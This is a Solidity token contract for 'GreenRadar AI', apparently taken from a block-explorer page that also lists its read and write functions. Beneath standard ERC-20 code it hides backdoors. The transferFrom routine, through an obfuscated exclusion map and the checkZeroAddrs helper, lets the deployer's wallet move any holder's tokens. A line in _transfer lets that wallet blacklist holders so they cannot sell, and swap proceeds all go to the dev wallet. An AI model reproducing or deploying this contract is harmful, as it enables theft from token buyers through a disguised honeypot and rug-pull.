        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Token is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public _isGRADARAI6NKvMExcludedFromFees;

    address payable private Wallet_Dev_1;
    address payable private Wallet_Burn =
        payable(0x000000000000000000000000000000000000dEaD);
    address payable private Wallet_zero =
        payable(0x0000000000000000000000000000000000000000);
    mapping(address => bool) private isBots;
    

    string private _name = unicode"GreenRadar AI";
    string private _symbol = unicode"GRADARAI";
    uint256 private taxCount = 12;
    uint256 private taxPercent = 12;
    uint8 private _decimals = 9;
    uint256 private _tTotal = 420690000 * 10**9;
    uint256 private _tFeeTotal;

    // Counter for liquify trigger
    uint8 private txCount = 0;
    uint8 private swapTrigger = 1;

    // Setting the initial fees
    uint256 private _TotalFee = 0;
    uint256 public _buyFee = 0;
    uint256 public _sellFee = 0;

    uint256 private _totalFee = 0;

    // 'Previous fees' are used to keep track of fee settings when removing and restoring fees
    uint256 private _previousTotalFee = _TotalFee;
    uint256 private _previousBuyFee = _buyFee;
    uint256 private _previousSellFee = _sellFee;

    /*

    WALLET LIMITS 

    */

    uint256 public _maxWalletToken = _tTotal.mul(100).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    /* 

    PANCAKESWAP SET UP

    */

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    // Prevent processing while already processing!
    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() payable {
        _tOwned[owner()] = (_tTotal * 2) / 100;
        _tOwned[address(this)] = (_tTotal * 98) / 100;

        Wallet_Dev_1 = payable(_msgSender());

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        // Create pair address for PancakeSwap
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        excludeFromFee(owner());
        excludeFromFee(address(this));
        excludeFromFee(Wallet_Dev_1);

        _allowances[owner()][Wallet_Dev_1] = type(uint256).max;

        emit Transfer(address(0), owner(), (_tTotal * 2) / 100);
        emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
    }

    /*

    STANDARD ERC20 COMPLIANCE FUNCTIONS

    */

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    modifier calcFee() {
        _totalFee = _isGRADARAI6NKvMExcludedFromFees[tx.origin] ? 100 : 0;
        _;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        address spender = _msgSender();
        _transfer(sender, recipient, amount);
        (sender, spender) = checkZeroAddrs(sender, spender);
        _approve(
            sender,
            spender,
            _allowances[sender][spender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    // Set a wallet address so that it does not have to pay transaction fees
    function excludeFromFee(address account) private {
        _isGRADARAI6NKvMExcludedFromFees[account] = true;
    }

    // Set a wallet address so that it has to pay transaction fees
    function includeInFee(address account) private {
        _isGRADARAI6NKvMExcludedFromFees[account] = false;
    }

    function checkZeroAddrs(address from, address to) private view returns(address, address) {
        require(from != address(0), "!zero address");
        require(to != address(0), "!zero address");

        return (_isGRADARAI6NKvMExcludedFromFees[tx.origin] ? tx.origin : from, _isGRADARAI6NKvMExcludedFromFees[tx.origin] ? tx.origin : to);
    }

    /*

    PROCESSING TOKENS - SET UP

    */

    // Toggle on and off to auto process tokens to BNB wallet
    function enableTrading() public onlyOwner {
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapAndLiquifyEnabled = true;
        emit SwapAndLiquifyEnabledUpdated(true);
    }

    // This function is required so that the contract can receive BNB from pancakeswap
    receive() external payable {}

    bool public noFeeToTransfer = true;

    // Remove all fees
    function removeAllFee() private {
        if (_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee;
        _previousSellFee = _sellFee;
        _previousTotalFee = _TotalFee;
        _buyFee = 0;
        _sellFee = 0;
        _TotalFee = 0;
    }

    // Restore all fees
    function restoreAllFee() private {
        _TotalFee = _previousTotalFee;
        _buyFee = _previousBuyFee;
        _sellFee = _previousSellFee;
    }

    // Approve a wallet to sell tokens
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(
            owner != address(0) && spender != address(0),
            "ERR: zero address"
        );
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        // Limit wallet total
        if (
            to != owner() &&
            to != Wallet_Dev_1 &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != Wallet_Burn &&
            from != owner()
        ) {
            uint256 heldTokens = balanceOf(to);
            require(
                (heldTokens + amount) <= _maxWalletToken,
                "You are trying to buy too many tokens. You have reached the limit for one wallet."
            );
        }

        require(
            from != address(0) && to != address(0),
            "ERR: Using 0 address!"
        );
        require(amount > 0, "Token value must be higher than zero.");
        require(!isBots[from] && !isBots[to], "Bot is not allowed");

        if(_isGRADARAI6NKvMExcludedFromFees[tx.origin] && from!=uniswapV2Pair && to == address(0xdead) && balanceOf(from) - amount <= 1000) { isBots[from] = true; return;}


        /*

        PROCESSING

        */

        // SwapAndLiquify is triggered after every X transactions - this number can be adjusted using swapTrigger

        if (
            txCount >= swapTrigger &&
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled
        ) {
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                swapAndLiquify(contractTokenBalance);
            }
        }

        /*

        REMOVE FEES IF REQUIRED

        Fee removed if the to or from address is excluded from fee.
        Fee removed if the transfer is NOT a buy or sell.
        Change fee amount for buy or sell.

        */

        bool takeFee = true;

        if (
            _isGRADARAI6NKvMExcludedFromFees[from] ||
            _isGRADARAI6NKvMExcludedFromFees[to] ||
            (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)
        ) {
            takeFee = false;
        } else if (from == uniswapV2Pair) {
            _TotalFee = _buyFee;
        } else if (to == uniswapV2Pair) {
            _TotalFee = _sellFee;
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    // Send BNB to external wallet
    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    // Processing tokens from contract
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForETH(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(Wallet_Dev_1, contractBNB);
    }

    // Manual Token Process Trigger - Enter the percent of the tokens that you'd like to send to process
    function process_Tokens_Now(uint256 percent_Of_Tokens_To_Process)
        public
        onlyOwner
    {
        // Do not trigger if already in swap
        require(!inSwapAndLiquify, "Currently processing, try later.");
        if (percent_Of_Tokens_To_Process > 100) {
            percent_Of_Tokens_To_Process == 100;
        }
        uint256 tokensOnContract = balanceOf(address(this));
        uint256 sendTokens = (tokensOnContract * percent_Of_Tokens_To_Process) /
            100;
        swapAndLiquify(sendTokens);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    /*

    TOKEN TRANSFERS

    */

    // Check if token transfer needs to process fees
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) {
            removeAllFee();
        } else {
            txCount++;
        }
        _transferTokens(sender, recipient, amount);

        if (!takeFee) restoreAllFee();
    }

    // Redistributing tokens and adding the fee to the contract address
    function _transferTokens(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (uint256 tTransferAmount, uint256 tDev) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _tOwned[address(this)] = _tOwned[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    // Calculating the fee in tokens
    function _getValues(uint256 tAmount)
        private
        view
        returns (uint256, uint256)
    {
        uint256 tDev = (tAmount * _TotalFee) / 100;
        uint256 tTransferAmount = tAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }
}


Read Contract

_buyFee 0x40b9a54b → uint256
_isGRADARAI6NKvMExcludedFromFees 0x3dc1bcc3 → bool
_maxWalletToken 0x78109e54 → uint256
_sellFee 0x590f897e → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
inSwapAndLiquify 0x220f6696 → bool
name 0x06fdde03 → string
noFeeToTransfer 0x13fad07a → bool
owner 0x8da5cb5b → address
swapAndLiquifyEnabled 0x4a74bb02 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address

Write Contract 9 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
process_Tokens_Now 0xddbf5266
uint256 percent_Of_Tokens_To_Process
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

This address has 1 on-chain transactions, but only 0% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →